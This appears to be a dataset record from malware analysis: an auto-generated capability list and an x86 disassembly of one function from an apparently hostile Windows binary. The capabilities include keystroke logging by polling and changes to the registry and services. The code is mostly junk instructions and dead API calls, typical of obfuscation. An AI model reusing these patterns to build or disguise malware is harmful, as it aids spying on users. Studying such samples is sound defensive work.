Function at 0x1002db59
Capabilities:
Accept command line arguments
Create process on windows
Create thread
Delete file
Delete registry key
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk information
Get file system object information
Get graphical window text
Get system information on windows
Identify system language via api
Log keystrokes via polling
Parse pe header
Query or enumerate registry value
Set environment variable
Set registry value
Set thread local storage value
Start service
Terminate process

Disassembly:
mov eax, 0x10081f91
call fcn.10080918
mov eax, 0x1614
call fcn.1007de50
push ebx
push esi
push edi
push 0xfffffffffffffff7
mov byte [ebp - 0x61], dl
xor eax, eax
pop edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1002dbac
mov dword [ebp - 0x34], 0x97eede0b
mov dword [ebp - 0x44], 0x891c5534
mov dword [ebp - 0x34], 0xffffffea
jmp 0x1002dba3
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x4c]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x11
je 0x1002db9a
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffc
jg 0x1002db83
push 0xfffffffffffffffe
or esi, 0xffffffff
pop ecx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x40], 0x15
cmp dword [ebp - 0x40], 0xffffffe3
push 1
pop ebx
je 0x1002dc38
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x4c], 0x2cb3a3fc
mov dword [ebp - 0x30], 0x1510afbd
mov dword [ebp - 0x28], 0xffffffe6
cmp dword [ebp - 0x28], 0xfffffff2
jle 0x1002dc2a
mov dword [ebp - 0x30], 0xef054a20
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
neg ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x28], 0x8de6
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff2
jg 0x1002dbef
xor eax, eax
inc eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe3
jne 0x1002dbd1
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], 0xac204e2
mov dword [ebp - 0x2c], 0x4438bea1
mov dword [ebp - 0x40], 4
push 0xfffffffffffffff6
pop ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x38], 0x2443ac46
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002dc7c
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1530], 0
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1002dc63
xor eax, eax
push 3
pop edi
cmp dword [ebp - 0x10], eax
je 0x1002dd39
movdqa xmm0, xmmword [0x10008300]
lea eax, [ebp - 0x1060]
push eax
lea eax, [ebp - 0x1070]
push eax
lea ecx, [ebp - 0x13e8]
movdqu xmmword [ebp - 0x1070], xmm0
call fcn.10017444
lea ecx, [ebp - 0x16c]
mov esi, eax
call fcn.10009483
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xf34]
push dword [esi]
call fcn.1001740a
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x1002dd23
mov dword [ebp - 0x28], 0x73d2d672
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002dcf6
push eax
push eax
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002dd1e
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf34]
call fcn.10017435
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002dcff
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1002dcdc
or esi, 0xffffffff
lea ecx, [ebp - 0xf34]
mov dword [ebp - 4], esi
call fcn.10017430
push 0xfffffffffffffff7
pop edx
jmp 0x1002dd79
mov dword [ebp - 0x30], 0xfe75
mov dword [ebp - 0x10], eax
jmp 0x1002dd6a
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002dd62
mov dword [ebp - 0x4c], 0x64c7b7f6
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jle 0x1002dd52
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe3
jne 0x1002dd45
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], ebx
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002ddde
mov dword [ebp - 0x30], 0xffff
mov dword [ebp - 0x28], 0xfab8c3ad
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xf
cmp dword [ebp - 0x28], edx
jne 0x1002ddd3
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ddcb
push 0x1a40
push 0x2ca
push eax
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0xfffffffffffffff7
xor eax, eax
pop edx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
je 0x1002ddac
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1002dd8a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xd
jl 0x1002e0f4
push edi
lea ecx, [ebp - 0x12c]
call fcn.100173c8
xor eax, eax
inc eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002de28
push dword [ebp - 0x10]
lea ecx, [ebp - 0x12c]
call fcn.10017435
mov dword [eax], 0x2e91a049
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002de0a
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002de4a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe50], 0xaa237f4a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002de31
xor eax, eax
push eax
lea ecx, [ebp - 0x12c]
call fcn.10017435
and dword [eax], 0
jmp 0x1002df49
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x1c], 0xe215169f
mov dword [ebp - 0x30], 0xa0949511
mov dword [ebp - 0x4c], 0x19791169
push 2
call fcn.10017435
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x12c]
mov eax, dword [ebp - 0x40]
xor ebx, ebx
inc ebx
push ebx
call fcn.10017435
xor eax, eax
lea ecx, [ebp - 0x12c]
push eax
call fcn.10017435
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffb
push ebx
sbb eax, eax
inc eax
mov dword [ebp - 0xe50], eax
mov dword [ebp - 0x30], eax
mov esi, dword [ebp - 0x1c]
neg esi
sbb esi, esi
neg esi
call fcn.10017435
cmp dword [eax], esi
jge 0x1002dedd
xor eax, eax
lea ecx, [ebp - 0x12c]
push eax
call fcn.10017435
push 2
lea ecx, [ebp - 0x12c]
call fcn.10017435
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x12c]
mov eax, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.10017435
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x40]
setl bl
xor ecx, ecx
cmp ebx, eax
setl cl
sub edx, ecx
lea ecx, [ebp - 0x12c]
neg edx
sbb edx, edx
xor eax, eax
inc edx
or esi, 0xffffffff
add edx, dword [ebp - 0x40]
cmp edx, esi
setne al
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.10017435
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x12c]
push eax
call fcn.10017435
lea ecx, [ebp - 0x12c]
cmp dword [eax], 0x15
jl 0x1002de5e
mov dword [ebp - 4], esi
call fcn.10017430
mov dword [ebp - 0x14], 0x45bbbdeb
xor eax, eax
mov dword [ebp - 0x1c], 0xb1af
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
jge 0x1002dfa1
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x5a8], edi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jl 0x1002df8d
xor eax, eax
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], eax
jl 0x1002e01a
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002dfcf
push eax
push eax
push 0x181b
push 0x1a83
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov eax, dword [ebp - 0x10]
push 0
pop ecx
push 0
mov eax, dword [ebp + eax*4 - 0x5a8]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5a8]
mov eax, dword [ebp - 0x5a0]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5a8]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5a8]
neg eax
mov eax, dword [ebp - 0x10]
sets cl
mov dword [ebp + eax*4 - 0x5a8], ecx
dec dword [ebp - 0x10]
pop eax
jns 0x1002dfad
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0x221494fb
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
neg esi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
sbb esi, esi
mov eax, dword [ebp - 0x24]
xor edx, edx
neg esi
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x2c]
je 0x1002e050
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002e050
mov edx, eax
jmp 0x1002e055
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
setge cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp ecx, 0xb69c93e3
jae 0x1002e0a0
cmp dword [ebp - 0x1c], eax
je 0x1002e0a0
lea ecx, [eax + 1]
jmp 0x1002e0a2
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
imul eax, ecx
imul ecx, eax, 0xa26c
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, 0xfffffff8
setg cl
xor ebx, ebx
mov dword [ebp - 0x38], ecx
inc ebx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], ebx
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e0db
mov eax, ebx
add eax, esi
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xd
push 0xffffffffffffffff
pop esi
jge 0x1002ddeb
xor eax, eax
or esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff9
jle 0x1002e23a
mov dword [ebp - 0x54], 0x6042c8cd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x40], eax
jmp 0x1002e12b
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002e128
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x1d
je 0x1002e116
cmp dword [ebp - 0x24], eax
jne 0x1002e14d
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
push 0
pop eax
setns al
cmp eax, dword [ebp - 0x54]
jge 0x1002e14d
xor eax, eax
jmp 0x1002e14f
mov eax, ebx
cmp dword [ebp - 0x38], eax
jge 0x1002e16c
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002e224
push eax
push eax
push eax
call edi
jmp 0x1002e224
mov dword [ebp - 0x1c], esi
xor edx, edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, 0x924e
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x38]
cmp eax, 8
setl cl
cmp ecx, 0xcc39b987
sbb eax, eax
neg eax
sub eax, 0xa39b7b3f
neg eax
sbb eax, eax
inc eax
cmp eax, 0xabe9
jge 0x1002e1bd
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002e1bd
mov ecx, eax
jmp 0x1002e1c2
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x54]
jl 0x1002e1e1
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002e1e1
mov esi, eax
jmp 0x1002e1e6
xor eax, eax
lea esi, [eax + 1]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp esi, eax
setle cl
cmp edx, ecx
jge 0x1002e20c
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x1002e20c
mov edx, eax
jmp 0x1002e211
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff9
push 0
pop eax
push 1
pop ebx
push 0xffffffffffffffff
pop esi
jg 0x1002e107
mov dword [ebp - 0x24], 0xac204e2
xor ebx, ebx
mov dword [ebp - 0x34], 0x4438bea1
inc ebx
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xd
jl 0x1002e346
mov dword [ebp - 0x14], 0x45bbbdeb
mov dword [ebp - 0x1c], 0xb1af
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0x221494fb
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
neg esi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
sbb esi, esi
mov eax, dword [ebp - 0x24]
xor edx, edx
neg esi
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x34]
je 0x1002e2a6
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002e2a6
mov edx, eax
jmp 0x1002e2ab
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
setge cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp ecx, 0xb69c93e3
jae 0x1002e2f6
cmp dword [ebp - 0x1c], eax
je 0x1002e2f6
lea ecx, [eax + 1]
jmp 0x1002e2f8
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
imul eax, ecx
imul ecx, eax, 0xa26c
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, 0xfffffff8
setg cl
xor ebx, ebx
mov dword [ebp - 0x28], ecx
inc ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], ebx
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e331
mov eax, ebx
add eax, esi
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xd
push 0
pop eax
jge 0x1002e262
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff9
jle 0x1002e486
mov dword [ebp - 0x54], 0x6042c8cd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x40], eax
jmp 0x1002e377
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002e374
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x1d
je 0x1002e362
cmp dword [ebp - 0x24], eax
jne 0x1002e399
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
push 0
pop eax
setns al
cmp eax, dword [ebp - 0x54]
jge 0x1002e399
xor eax, eax
jmp 0x1002e39b
mov eax, ebx
cmp dword [ebp - 0x28], eax
jge 0x1002e3b8
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002e473
push eax
push eax
push eax
call edi
jmp 0x1002e473
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, 0x924e
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x28]
cmp eax, 8
setl cl
cmp ecx, 0xcc39b987
sbb eax, eax
neg eax
sub eax, 0xa39b7b3f
neg eax
sbb eax, eax
inc eax
cmp eax, 0xabe9
jge 0x1002e40c
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002e40c
mov ecx, eax
jmp 0x1002e411
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x54]
jl 0x1002e430
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002e430
mov esi, eax
jmp 0x1002e435
xor eax, eax
lea esi, [eax + 1]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x34]
setge dl
xor ecx, ecx
cmp esi, eax
setle cl
cmp edx, ecx
jge 0x1002e45b
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x1002e45b
mov edx, eax
jmp 0x1002e460
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff9
push 0
pop eax
push 1
pop ebx
jg 0x1002e353
mov dword [ebp - 0x24], 0xac204e2
xor ebx, ebx
mov dword [ebp - 0x34], 0x4438bea1
inc ebx
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xd
jl 0x1002e592
mov dword [ebp - 0x14], 0x45bbbdeb
mov dword [ebp - 0x1c], 0xb1af
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0x221494fb
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
neg esi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
sbb esi, esi
mov eax, dword [ebp - 0x24]
xor edx, edx
neg esi
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x34]
je 0x1002e4f2
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002e4f2
mov edx, eax
jmp 0x1002e4f7
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
setge cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp ecx, 0xb69c93e3
jae 0x1002e542
cmp dword [ebp - 0x1c], eax
je 0x1002e542
lea ecx, [eax + 1]
jmp 0x1002e544
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
imul eax, ecx
imul ecx, eax, 0xa26c
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, 0xfffffff8
setg cl
xor ebx, ebx
mov dword [ebp - 0x28], ecx
inc ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], ebx
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e57d
mov eax, ebx
add eax, esi
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xd
push 0
pop eax
jge 0x1002e4ae
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff9
jle 0x1002e6d2
mov dword [ebp - 0x54], 0x6042c8cd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x40], eax
jmp 0x1002e5c3
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002e5c0
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x1d
je 0x1002e5ae
cmp dword [ebp - 0x24], eax
jne 0x1002e5e5
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
push 0
pop eax
setns al
cmp eax, dword [ebp - 0x54]
jge 0x1002e5e5
xor eax, eax
jmp 0x1002e5e7
mov eax, ebx
cmp dword [ebp - 0x28], eax
jge 0x1002e604
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002e6bf
push eax
push eax
push eax
call edi
jmp 0x1002e6bf
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, 0x924e
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x28]
cmp eax, 8
setl cl
cmp ecx, 0xcc39b987
sbb eax, eax
neg eax
sub eax, 0xa39b7b3f
neg eax
sbb eax, eax
inc eax
cmp eax, 0xabe9
jge 0x1002e658
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002e658
mov ecx, eax
jmp 0x1002e65d
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x54]
jl 0x1002e67c
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002e67c
mov esi, eax
jmp 0x1002e681
xor eax, eax
lea esi, [eax + 1]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x34]
setge dl
xor ecx, ecx
cmp esi, eax
setle cl
cmp edx, ecx
jge 0x1002e6a7
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x1002e6a7
mov edx, eax
jmp 0x1002e6ac
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff9
push 0
pop eax
push 1
pop ebx
jg 0x1002e59f
mov dword [ebp - 0x38], 0xca4f833f
xor ebx, ebx
mov dword [ebp - 0x3c], 0xfffffffa
inc ebx
mov dword [ebp - 0x30], 0xfffffffc
or esi, 0xffffffff
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1002e716
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x70], esi
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1002e6ff
xor ebx, ebx
xor eax, eax
inc ebx
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002e729
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jg 0x1002e8cd
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x10], 0x77dd6887
lea ecx, [ebp - 0xacc]
mov dword [ebp - 0x4c], eax
push 4
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x1002e780
push dword [ebp - 0x34]
lea ecx, [ebp - 0xacc]
call fcn.10017435
mov dword [eax], 0xd0fe1f23
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
jl 0x1002e761
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1002e8ae
jmp 0x1002e790
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x48], 0xcea0262b
mov dword [ebp - 0x50], 0xcd1ad70
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, ebx
setge dl
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
inc edx
add edx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x10]
imul edx, dword [ebp + eax*4 - 0x70]
xor eax, eax
sub edx, 0x297c5811
cmp edx, 0xe469
setle al
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x70]
cmp dword [ebp - 0x10], 0x339b
jle 0x1002e7fa
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e7fc
mov eax, ebx
imul eax, eax, 0x782e
test eax, eax
je 0x1002e809
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0xacc]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x70]
push 3
call fcn.10017435
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp ecx, 0xcb2d
setge dl
xor ebx, ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge bl
xor edx, edx
sub ebx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x4c]
cmp ebx, 0x360e5697
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002e8a2
mov dword [ebp - 0x3c], 0xb2d4ad4
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002e89d
push 0x1d25
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
dec dword [ebp - 0x2c]
jns 0x1002e87f
dec dword [ebp - 0x10]
push 1
pop ebx
jns 0x1002e78e
lea ecx, [ebp - 0xacc]
mov dword [ebp - 4], esi
call fcn.10017430
inc dword [ebp - 0x38]
xor eax, eax
push 1
pop ebx
cmp dword [ebp - 0x38], eax
jle 0x1002e735
push 0xfffffffffffffff7
pop edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], eax
jmp 0x1002e901
mov dword [ebp - 0x34], 0x97eede0b
mov dword [ebp - 0x44], 0x891c5534
mov dword [ebp - 0x34], 0xffffffea
